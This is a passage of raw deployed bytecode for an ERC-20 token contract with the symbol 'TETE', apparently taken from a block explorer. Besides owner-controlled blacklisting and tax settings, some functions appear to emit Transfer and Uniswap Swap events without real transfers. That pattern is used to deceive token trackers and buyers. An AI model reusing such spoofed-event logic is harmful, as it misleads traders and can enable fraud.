1426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c4fdd350f4c5ca03ee8f9c7d65fca08367e6a4fa37346043a812b05a9296d1d64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600481526020017f5445544500000000000000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600481526020017f5445544500000000000000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b6000602082019050818103600083015261